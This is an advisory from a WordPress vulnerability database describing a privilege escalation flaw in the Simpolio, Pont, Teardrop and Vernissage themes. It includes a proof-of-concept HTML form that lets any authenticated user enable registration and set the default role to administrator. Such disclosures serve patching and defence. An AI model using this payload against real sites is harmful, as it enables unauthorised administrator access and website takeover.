Multiple Themes - Privilige Escalation

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Description
The themes suffer from a privilege escalation vulnerability, any authenticated user can trigger this vulnerability due to weak permissions checking. 

An attacker can update options, such as changing user's default role, registration state and others, which may lead to executing commands/code on the server and taking over the website.

Tested Versions:

Simpolio 1.3.2
Pont 1.5
Teardrop 1.8.1
Vernissage 1.2.8
Proof of Concept
<form action="http://example.com/wp-admin/admin-ajax.php?action=of_ajax_post_action" method="post" >
	<input name="type" value="save" type="hidden" />
	<input name="data[users_can_register]" value="1" type="hidden" />
	<input name="data[default_role]" value="administrator" type="hidden" />
	<input type="submit" >
</form>

Affects

Themes



References

URL http://web.archive.org/web/20150914160724/http://research.evex.pw/?vuln=17
URL http://themeforest.net/item/pont-multipurpose-wordpress-theme/273142
URL http://themeforest.net/item/vernissage-responsive-photographyportfolio-theme/4436204
URL http://themeforest.net/item/simpolio-fullscreen-portfolio-blog-wp-theme/397050
URL http://themeforest.net/item/teardrop-flexible-photo-portfolio-wp-theme/510900

Classification

Type BYPASS

Miscellaneous

Submitter A. Samman
Submitter Twitter Evex_1337
Views 1530
Verified No
WPVDB ID 8061

Timeline

Publicly Published 2015-06-26 (over 1 year ago)
Added 2015-06-26 (over 1 year ago)
Last Updated 2016-04-24 (7 months ago)

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